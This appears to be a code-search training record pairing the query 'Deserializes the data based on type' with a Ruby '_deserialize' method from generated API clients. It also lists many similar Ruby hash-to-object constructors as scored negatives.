"def initialize(hash)\n @cw_id = hash[\"cw_id\"]\n @cik = hash[\"cik\"]\n @name = hash[\"company_name\"]\n @irs_number = hash[\"irs_number\"]\n @sic_code = hash[\"sic_code\"]\n @industry = hash[\"industry_name\"]\n @sic_sector = hash[\"sic_sector\"]\n @sector_name = hash[\"sector_name\"]\n @source_type = hash[\"source_type\"]\n @address = hash[\"raw_address\"]\n @country = hash[\"country_code\"]\n @state = hash[\"subdiv_code\"]\n @top_parent_id = hash[\"top_parent_id\"]\n @num_parents = hash[\"num_parents\"]\n @num_children = hash[\"num_children\"]\n @max_year = hash[\"max_year\"]\n @min_year = hash[\"min_year\"]\n end",
"def from_hash(hash)\n instance = allocate\n instance.instance_variable_set :@attributes, hash.freeze\n instance\n end",
"def from_hash(hash)\n hash = DEFAULTS.merge(hash)\n hash['spdx_id'] = hash.delete('spdx-id')\n ordered_array = hash.values_at(*members.map(&:to_s))\n new(*ordered_array)\n end",
"def initialize(hash=nil)\n @table = HashWithIndifferentAccess.new\n\n for k,v in hash\n @table[k] = v\n new_ostruct_member(k)\n end if hash\n end",
"def from_hash(hash)\n hash.each_pair do |key, value|\n\n # We need to catch hashes representing child objects\n # If the hash key:value is a of a Hash/BSON:Ordered hash\n if hash[key].class == Hash || hash[key].class == BSON::OrderedHash\n # If we have a classname we know we need to return to an object\n if hash[key][\"@classname\"]\n self.instance_variable_set(key, ::Object::full_const_get(hash[key][\"@classname\"]).new(hash[key])) unless key.to_s.start_with?(\"_\")\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n end\n end",
"def from_hash(hash)\n hash.each_pair do |key, value|\n\n # We need to catch hashes representing child objects\n # If the hash key:value is a of a Hash/BSON:Ordered hash\n if hash[key].class == Hash || hash[key].class == BSON::OrderedHash\n # If we have a classname we know we need to return to an object\n if hash[key][\"@classname\"]\n self.instance_variable_set(key, ::Object::full_const_get(hash[key][\"@classname\"]).new(hash[key])) unless key.to_s.start_with?(\"_\")\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n end\n end",
"def initialize(hash)\n @hash = hash\n @data = resourcify_data\n end",
"def from_hash hash\n @id= hash['id']\n\n @admin= hash['admin']\n @username= hash['username']\n @timezone= hash['timezone']\n @email_address= hash['email_address']\n\n @password = nil\n\n @created_at= DateTime.parse(hash['created_at'])\n @updated_at= DateTime.parse(hash['updated_at'])\n end",
"def hash_to_obj hash\n OpenStruct.new(hash) rescue raise ConfigError, \"Can't convert setup to object\"\n end",
"def initialize(hash)\n load_hash(hash)\n end",
"def from_hash( h)\n\t\th.each { |name,attributes|\n\t\t\tklass = Klass.new\n\t\t\tklass.from_hash( { name => attributes } )\n\t\t\tself.add_class( klass)\n\t\t}\n\n\t\t# this is an experiment in handling \"through\" attributes\n\t\t# i.e. enriching the model with the join classes\n\tend",
"def initialize(*args)\n super\n # hash = {}\n end",
"def build_object(resp)\n return resp unless resp.respond_to?(:merge)\n @build_object ||= final_object_class.new(resp.merge(additional_hash_to_serialize_after_response))\n end",
"def from_hash(hash)\n ordered_array = hash.values_at(*members.map(&:to_s))\n new(*ordered_array)\n end",
"def __convert hash #:nodoc:\n instance = self.class.new\n hash.each do |k, v|\n k = k.to_s if !k.respond_to?(:to_sym) && k.respond_to?(:to_s)\n instance.new_ostruct_member k\n if v.is_a?(Hash)\n v = v[\"type\"] == \"hash\" ? v[\"contents\"] : __convert(v)\n elsif v.is_a?(Array)\n v = v.map{|e| e.instance_of?(Hash) ? __convert(e) : e}\n end\n instance.send \"#{k}=\".to_sym, v\n end\n instance\n end",
"def initialize(hash)\n\t\t@id = hash['id']\n\t\t@first_name = hash['first_name']\n\t\t@last_name = hash['last_name']\n\t\t@mentor = hash['mentor']\n\tend",
"def initialize(hash={})\n @name = validate_name(hash[:name])\n @description = hash[:description]\n @snmp_opts = hash[:snmp_opts]\n\n save # Save a copy of self to Redis on creation\n end",
"def initialize\n @hash_dict = {}\n end",
"def initialize(hash=nil)\n @attributes = hash\n @attributes ||= {}\n end",
"def initialize(hash={})\n self.init_attrs_from_hash(hash)\n end",
"def from_hash(hash)\n apply_nested_hash(hash)\n end",
"def initialize(hash)\n # @id = hash[\"id\"]\n # @street_address = hash[\"street_address\"]\n # @city = hash[\"city\"]\n # @state = hash[\"state\"]\n # @zipcode = hash[\"zipcode\"]\n # @country = hash[\"country\"]\n\n #add in correct details\n end",
"def from_hash(hash)\n @data_object.user_acc_name = hash['user_acc_name']\n @data_object.user_affiliate = hash['user_affiliate']\n @user_over_13 = hash['user_over_13']\n\n contact.from_hash(hash)\n end",
"def initialize(hash)\n @name = hash[\"campaign\"] #decided to change it to \"name\" since this is the campaign class\n date_elements = hash[\"date\"].split(\"/\") #date is being passed in as a string, need this array to create the Date object in the next line\n @date = Date.new(date_elements[2].to_i + 2000, date_elements[0].to_i, date_elements[1].to_i) #added 2000 to year since the program was considering it as the year 15; this creates the date object\n @spend = hash[\"spend\"].to_f #use .to_f to make sure spend comes in as a float instead of a string\n @impressions = hash[\"impressions\"].to_i #need it as an integer for counting purposes later\n @actions = JSON.parse(hash[\"actions\"])#ensures that each action comes in as an array instead of a string\n @@all << self #shovels it into the all array\n end",
"def initialize(hash)\n hash.each do |k, v|\n self.send(\"#{k}=\", v) if self.respond_to?(\"#{k}=\")\n end\n @id = hash[\"id\"]\n end",
"def initialize (hash)\n hash.each {|key, value|\n self.class.attr_accessor(key)\n self.send((\"#{key}=\"), value)\n }\n @@all << self\n end",
"def initialize(hash={})\n @data = Hash.new\n hash.each do |key, value|\n self[key] = value\n end\n end",
"def create_from_hash(hash, opts={})\n create_opts = update_or_create_options(hash, opts)\n create { |instance| instance.set(create_opts) }\n end",
"def initialize(hash={})\n # assign the attributes here (???)\n hash.each do |k, v| # name = id, name, etc.\n self.send(\"#{k}=\", v)\n # self.k = v # there's no '.k' method\n #binding.pry\n end\n end",
"def initialize(hash) #.new\n @name = hash[:name][0]\n @region = hash[:region]\n @population = hash[:population]\n @capital = hash[:capital]\n @flag_link = hash[:flag_link]\n @@all << self\n #binding.pry\n end",
"def initialize(hash = {})\n super(hash)\n\n @action = extract_value(hash, :action)\n @clientId = extract_value(hash, :clientId)\n @clientIdAlias = extract_value(hash, :clientIdAlias)\n @clientIdAliasUsed = extract_boolean_value(hash, :clientIdAliasUsed)\n @expiresAt = extract_integer_value(hash, :expiresAt)\n @subject = extract_value(hash, :subject)\n @scopes = extract_value(hash, :scopes)\n @existent = extract_boolean_value(hash, :existent)\n @usable = extract_boolean_value(hash, :usable)\n @sufficient = extract_boolean_value(hash, :sufficient)\n @refreshable = extract_boolean_value(hash, :refreshable)\n @responseContent = extract_value(hash, :responseContent)\n @properties = extract_array_value(hash, :scopes) do |element|\n Authlete::Model::Property.parse(element)\n end\n end",
"def initialize( hash )\n\t\t@object_classes = self.parse_objectclasses( hash['objectClasses'] || [] )\n\t\t@attribute_types = self.parse_attribute_types( hash['attributeTypes'] || [] )\n\t\t@ldap_syntaxes = self.parse_ldap_syntaxes( hash['ldapSyntaxes'] || [] )\n\t\t@matching_rules = self.parse_matching_rules( hash['matchingRules'] || [] )\n\t\t@matching_rule_uses = self.parse_matching_rule_uses( hash['matchingRuleUse'] || [] )\n\tend",
"def from_hash(hash)\n super(hash)\n verify\n end",
"def objects_from_serialized_hash(hash) # :nodoc:\n klass, attributes = Helpers.to_class_and_attributes(hash)\n klass.from_seedable_attributes(attributes)\n end",
"def initialize (hash)\n @name = hash [:name]\n @color = hash [:color]\n @robots = hash [:robots]\n @moon_count = hash [:moon_count]\n @cats = hash [:cats]\n #@solar_rotation = solar_rotation .....I dont really understand what a solar rotation is.... it's confusing.....\n @distance_from_the_sun = hash [:distance_from_the_sun]\n end",
"def initialize(hash = nil)\n @arguments = 0\n return if hash.nil?\n @name = hash['name']\n @arguments = hash['arguments']\n end",
"def _from_hash(hsh)\n hsh.each do |k, v|\n v = restore_hash(v)\n v = v.map { |iv| restore_hash(iv) } if v.is_a?(Array)\n send(:\"#{k}=\", v)\n end\n self\n end",
"def from_hash(hash)\n struct = SparkleStruct.new\n struct._camel_keys_set(:auto_discovery)\n struct._load(hash)\n struct._camel_keys_set(nil)\n struct\n end",
"def from_hash(hash)\n struct = SparkleStruct.new\n struct._camel_keys_set(:auto_discovery)\n struct._load(hash)\n struct._camel_keys_set(nil)\n struct\n end",
"def initialize(hash={})\n self.attributes = hash\n end",
"def initialize(raw_hash)\n if valid_hash?(raw_hash)\n self.replace(raw_hash)\n @version, @cost, @salt, @checksum = split_hash(self)\n else\n raise Errors::InvalidHash.new(\"invalid hash\")\n end\n end",
"def initialize(raw_hash)\n if valid_hash?(raw_hash)\n self.replace(raw_hash)\n @version, @cost, @salt, @checksum = split_hash(self)\n else\n raise Errors::InvalidHash.new(\"invalid hash\")\n end\n end",
"def build(base, object, type = nil, selected_fields = nil)\n return object unless object.is_a?(Hash)\n if _loading?\n Factory.from_db(klass, object, nil, selected_fields)\n else\n Factory.build(klass, object)\n end\n end",
"def initialize(hash)\n super(hash)\n @size = hash[\"size\"]\n end",
"def initialize(raw_hash)\n if valid_hash?(raw_hash)\n self.replace(raw_hash)\n @cost, @salt, @digest = split_hash(self.to_s)\n else\n raise Errors::InvalidHash.new(\"invalid hash\")\n end\n end",
"def instantiate hash, extra_attributes={}\n return hash unless hash.kind_of? Hash\n# init = hash.values_at(*@singulars).compact.first\n init = hash[@singular]\n inits = hash[@plural]\n if init\n new init.merge extra_attributes\n elsif inits\n inits.map {|each| new each.merge extra_attributes}\n else\n hash\n end\n end",
"def from_hash(values)\n @data_object.team_challenge = values['team_challenge']\n @data_object.team_level = values['team_level']\n @data_object.team_name = values['team_name']\n\n# @mgr_email = values['mgr_email']\n\n names = values['tm_name']\n\n TeamMember::MEMBERS_PER_TEAM.times do |i|\n if names[i].empty?\n @members[i].clear\n else\n @members[i].tm_name = names[i]\n @members[i].tm_grade = values['tm_grade'][i].to_i\n @members[i].tm_dob_mon = values['tm_dob_mon'][i]\n @members[i].tm_dob_day = values['tm_dob_day'][i]\n @members[i].tm_dob_year = values['tm_dob_year'][i]\n @members[i].tm_sex = values['tm_sex'][i]\n end\n end\n end",
"def hash\n { hash: @hash, hashType: @hash_type }\n end",
"def initialize(raw_hash)\n raise Errors::InvalidHash, 'invalid hash' unless valid_hash?(raw_hash)\n\n replace(raw_hash)\n\n @cost, @salt, @digest = split_hash(to_s)\n end",
"def initialize( confighash={} )\n\t\tihash = internify_keys( untaint_values(confighash) )\n\t\tmergedhash = DEFAULTS.merge( ihash, &HashMergeFunction )\n\n\t\t@struct = ConfigStruct.new( mergedhash )\n\t\t@create_time = Time.now\n\t\t@name = nil\n\t\t@loader = nil\n\n\t\tsuper()\n\tend",
"def initialize(*args)\n @hash = HashWithIndifferentAccess.new(*args)\n end",
"def create(hash={})\n model = self.new(hash)\n model.save\n model\n end",
"def from_hash(hash:, klass:)\n validate_class_kit(klass)\n\n @hash_helper.indifferent!(hash)\n entity = klass.new\n attributes = @attribute_helper.get_attributes(klass)\n attributes.each do |attribute|\n key = attribute[:name]\n type = attribute[:type]\n\n #if the hash value is nil skip it\n next if hash[key].nil?\n\n value = if is_class_kit?(type)\n from_hash(hash: hash[key], klass: type)\n elsif type == Array\n hash[key].map do |array_element|\n if attribute[:collection_type].nil?\n array_element\n else\n if is_class_kit?(attribute[:collection_type])\n from_hash(hash: array_element, klass: attribute[:collection_type])\n else\n @value_helper.parse(type: attribute[:collection_type], value: array_element)\n end\n end\n end\n else\n hash[key]\n end\n\n entity.public_send(:\"#{key}=\", value)\n end\n\n entity\n end",
"def from_h(hash, converter = nil)\n instance = new\n\n hash.each do |k, v|\n v = convert(v, k, converter) if converter\n instance.instance_variable_set(:\"@#{k}\", v)\n end\n\n instance\n end",
"def initialize(hash_that_represents_json)\n\t\t@data = hash_that_represents_json\n\tend",
"def hash_for_merging(hash)\n new_hash = { id: hash['message_id'].to_i,\n date: Time.at(hash['date'].to_i),\n from: User.new(hash['from'], @bot),\n chat: Chat.new(hash['chat'], @bot) }\n\n type = TYPES.find { |t| hash[t.to_s] }\n new_hash[type] = hash[type.to_s] # TODO: fail if type not found\n\n new_hash\n end",
"def initialize(hash)\n @header = Msg::Header.new(hash)\n @body = Msg::Body.new(content_is_json?, hash)\n end",
"def build_resource(hash = {})\n self.resource = resource_class.new(hash)\n end",
"def initialize()\n @hash = {}\n @values = []\n end",
"def build\n fail \"Please provide a value for key, currently: #{key}\" if key.nil?\n\n if in_key\n { in_key.to_sym => { key => data } }\n else\n process_data\n transform_to_hash\n end\n end",
"def initialize(build)\n @build = build\n @hash = {}\n @already_run = []\n end",
"def new_from_hash_marketplace(h)\n self.url = h\n h=h.split('/')\n h=h[h.size-2]\n self.original_id = h\n return self\n end",
"def initialize(hash, type, dump)\n self.hash = hash\n self.type = type.to_sym\n self.dump = dump\n end",
"def initialize(hash_data, opts: {})\n @hsh = hash_data\n @opts = opts\n\n @title = @hsh[:title]\n @body = @hsh[:body_hash]\n end",
"def initialize(hash)\n @color = hash[:color]\n @scent = hash[:scent]\n end",
"def initialize(hash = nil)\n hash.each { |key, value| self[key] = value } if !hash.nil? && hash.is_a?(Hash)\n end",
"def create(hash)\n NotImplementedError\n end",
"def from_h(hash, converter = nil)\n instance = new\n\n hash.each do |k, v|\n v = instance.convert(v, k, converter) if converter\n instance.send(:\"#{k}=\", v)\n end\n\n instance\n end",
"def init_jaxb_json_hash(_o)\n super _o\n @id = String.from_json(_o['id']) unless _o['id'].nil?\n @version = String.from_json(_o['version']) unless _o['version'].nil?\n @description = String.from_json(_o['description']) unless _o['description'].nil?\n @url = String.from_json(_o['url']) unless _o['url'].nil?\n @name = String.from_json(_o['name']) unless _o['name'].nil?\n @organization = Org::Apache::Archiva::Metadata::Model::Organization.from_json(_o['organization']) unless _o['organization'].nil?\n @issueManagement = Org::Apache::Archiva::Metadata::Model::IssueManagement.from_json(_o['issueManagement']) unless _o['issueManagement'].nil?\n @scm = Org::Apache::Archiva::Metadata::Model::Scm.from_json(_o['scm']) unless _o['scm'].nil?\n @ciManagement = Org::Apache::Archiva::Metadata::Model::CiManagement.from_json(_o['ciManagement']) unless _o['ciManagement'].nil?\n if !_o['licenses'].nil?\n @licenses = Array.new\n _oa = _o['licenses']\n _oa.each { | _item | @licenses.push Org::Apache::Archiva::Metadata::Model::License.from_json(_item) }\n end\n if !_o['mailingLists'].nil?\n @mailingLists = Array.new\n _oa = _o['mailingLists']\n _oa.each { | _item | @mailingLists.push Org::Apache::Archiva::Metadata::Model::MailingList.from_json(_item) }\n end\n if !_o['dependencies'].nil?\n @dependencies = Array.new\n _oa = _o['dependencies']\n _oa.each { | _item | @dependencies.push Org::Apache::Archiva::Metadata::Model::Dependency.from_json(_item) }\n end\n @incomplete = Boolean.from_json(_o['incomplete']) unless _o['incomplete'].nil?\n end",
"def create_version_hash\n new_version = {}\n new_version['created'] = ''\n new_version['message'] = ''\n new_version['user'] = {}\n # user is #name, # address.\n new_version['user']['name'] = ''\n new_version['user']['address'] = ''\n new_version['state'] = {}\n new_version\n end",
"def create_from_hash hash\n values = values_from_hash hash\n unless obj = find(:first, :conditions => values)\n return nil if values[:id]\n obj = create!(values)\n raise ArgumentError, \"#{obj.errors.to_s}\" unless obj.errors.empty?\n end\n obj\n end",
"def initialize result_hash={}\n @result_hash = result_hash\n end",
"def create_hash(&block); end",
"def create_hash(&block); end",
"def initialize(attrs={})\n from_hash(attrs)\n end",
"def build_request_data(hash)\n {\n :attributes! => {\n addressinfo: { \"xsi:type\" => \"ns2:Map\" },\n },\n username: @username,\n password: @password,\n addressinfo: {\n item: [\n { key: 'name', value: hash[:name] },\n { key: 'address1', value: hash[:address1] },\n { key: 'address2', value: hash[:address2] },\n { key: 'city', value: hash[:city] },\n { key: 'state', value: hash[:state] },\n { key: 'zip', value: hash[:zip] },\n { key: 'fflno', value: hash[:fflno] },\n { key: 'fflexp', value: hash[:fflexp] }\n ]\n },\n testing: @testing\n }\n end",
"def init_jaxb_json_hash(_o)\n @groupId = String.from_json(_o['groupId']) unless _o['groupId'].nil?\n @artifactId = String.from_json(_o['artifactId']) unless _o['artifactId'].nil?\n @version = String.from_json(_o['version']) unless _o['version'].nil?\n @packaging = String.from_json(_o['packaging']) unless _o['packaging'].nil?\n @className = String.from_json(_o['className']) unless _o['className'].nil?\n if !_o['repositories'].nil?\n @repositories = Array.new\n _oa = _o['repositories']\n _oa.each { | _item | @repositories.push String.from_json(_item) }\n end\n @bundleVersion = String.from_json(_o['bundleVersion']) unless _o['bundleVersion'].nil?\n @bundleSymbolicName = String.from_json(_o['bundleSymbolicName']) unless _o['bundleSymbolicName'].nil?\n @bundleExportPackage = String.from_json(_o['bundleExportPackage']) unless _o['bundleExportPackage'].nil?\n @bundleExportService = String.from_json(_o['bundleExportService']) unless _o['bundleExportService'].nil?\n @classifier = String.from_json(_o['classifier']) unless _o['classifier'].nil?\n @includePomArtifacts = Boolean.from_json(_o['includePomArtifacts']) unless _o['includePomArtifacts'].nil?\n @queryTerms = String.from_json(_o['queryTerms']) unless _o['queryTerms'].nil?\n @bundleImportPackage = String.from_json(_o['bundleImportPackage']) unless _o['bundleImportPackage'].nil?\n @bundleRequireBundle = String.from_json(_o['bundleRequireBundle']) unless _o['bundleRequireBundle'].nil?\n @pageSize = Fixnum.from_json(_o['pageSize']) unless _o['pageSize'].nil?\n @selectedPage = Fixnum.from_json(_o['selectedPage']) unless _o['selectedPage'].nil?\n end",
"def initialize(order_hash)\n @id = order_hash['id']\n @number = order_hash['number']\n @special_instructions = order_hash['special_instructions']\n @total = order_hash['total']\n @total_quantity = order_hash['total_quantity']\n @created_at = order_hash['created_at']\n @updated_at = order_hash['updated_at']\n end",
"def from_db_hash *args\n from_hash *args\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n self.class.swagger_types.each_pair do |key, type|\n if type =~ /^Array<(.*)>/i\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )\n else\n #TODO show warning in debug mode\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n else\n # data not found in attributes(hash), not an issue as the data can be optional\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n self.class.swagger_types.each_pair do |key, type|\n if type =~ /^Array<(.*)>/i\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )\n else\n #TODO show warning in debug mode\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n else\n # data not found in attributes(hash), not an issue as the data can be optional\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n self.class.swagger_types.each_pair do |key, type|\n if type =~ /^Array<(.*)>/i\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )\n else\n #TODO show warning in debug mode\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n else\n # data not found in attributes(hash), not an issue as the data can be optional\n end\n end\n\n self\n end"
] | [
"0.8011074",
"0.7470833",
"0.7457607",
"0.7256629",
"0.72455454",
"0.70060325",
"0.6973257",
"0.6955014",
"0.69459796",
"0.69398683",
"0.69363195",
"0.6917627",
"0.6872358",
"0.6796184",
"0.6783521",
"0.67575246",
"0.67575246",
"0.67560464",
"0.67514306",
"0.67136854",
"0.66667664",
"0.6623634",
"0.661206",
"0.66098964",
"0.66098964",
"0.6591922",
"0.65713006",
"0.6547411",
"0.6524743",
"0.6524143",
"0.6513636",
"0.650189",
"0.6498057",
"0.6485853",
"0.6483371",
"0.6475685",
"0.6459916",
"0.6454491",
"0.6440182",
"0.6434778",
"0.6401363",
"0.63977015",
"0.6396885",
"0.63910425",
"0.63720834",
"0.6363958",
"0.63597506",
"0.6313429",
"0.6295958",
"0.62923384",
"0.62915224",
"0.62704456",
"0.62703115",
"0.62622243",
"0.62515473",
"0.6249854",
"0.6242987",
"0.6242987",
"0.62426233",
"0.62408733",
"0.62407595",
"0.62321323",
"0.62298346",
"0.622897",
"0.622756",
"0.62245685",
"0.62217826",
"0.6218501",
"0.6210329",
"0.62091905",
"0.620342",
"0.6201614",
"0.6178616",
"0.6166234",
"0.61611027",
"0.6140086",
"0.6126761",
"0.61154264",
"0.61059844",
"0.60980254",
"0.60971874",
"0.6090533",
"0.6064119",
"0.6061236",
"0.6060324",
"0.60599816",
"0.60420287",
"0.6039776",
"0.603712",
"0.6033585",
"0.6030829",
"0.6023582",
"0.6023582",
"0.6016123",
"0.60155296",
"0.6014705",
"0.6008574",
"0.60031897",
"0.60024095",
"0.60024095",
"0.60024095"
] | 0.0 | -1 |
Deserializes the data based on type | def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :Boolean
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
klass = OpenapiClient.const_get(type)
if klass.respond_to?(:openapi_discriminator_name)
klass = OpenapiClient.const_get(value[klass.attribute_map[klass.openapi_discriminator_name]])
end
klass.build_from_hash(value)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Telstra_Messaging.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = FattureInCloud.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = IFClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = WineShipping.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
